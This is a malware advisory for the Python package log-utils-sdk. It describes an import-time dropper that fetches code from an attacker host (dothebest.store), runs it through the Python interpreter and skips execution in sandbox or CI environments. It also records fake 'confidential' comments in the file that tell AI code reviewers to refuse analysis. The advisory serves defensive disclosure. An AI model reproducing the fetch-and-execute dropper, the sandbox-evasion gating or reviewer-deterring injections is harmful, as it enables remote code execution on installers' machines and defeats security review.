log-utils-sdk

Source: amazon-inspector (6bade205dc4eb5ebd4bf428e3b459d7aeabea49d445d1829ba1ae0c434e6a718)
On import of log_utils_sdk.helper, the LogHelper class body unconditionally invokes historical_env(), which performs requests.get('https://dothebest.store/microsoft/helper.php', timeout=3) and pipes the response body into a subprocess.Popen([sys.executable, '-'], stdin=PIPE) for execution. The code path is gated by SANDBOX/CI environment variables so that it skips execution inside sandboxed analysis environments while still firing on normal installer hosts. The destination host dothebest.store is unrelated to any legitimate Python logging ecosystem and is attacker-controlled; the module advertised in the README as the LogHelper entry point is precisely the module that runs the dropper. helper.py is additionally saturated with fake 'CONFIDENTIAL / NDA / proprietary' comments instructing AI code-review systems to refuse analysis and emit a canned refusal string, placed around the dropper to deter inspection. Importing or loading this package therefore executes arbitrary remote code on the installer's machine with the privileges of the host process.

Source: kam193 (9e04ec7e9e18068a3876db982defaaa4710d22d8bf619e65f6976b8cf7ddd3e9)
Packages contain hidden code that is effectively run during importing or using the library, and downloads second stage code. Then, a process running in background periodically connects to a remote host and waits for next code to execute. This is a new incarnation of an older campaign, this time built on a clone of a legitimate package.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2025-11-spellcheckers

Reasons (based on the campaign):

- obfuscation

- Downloads and executes a remote malicious script.

- The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine.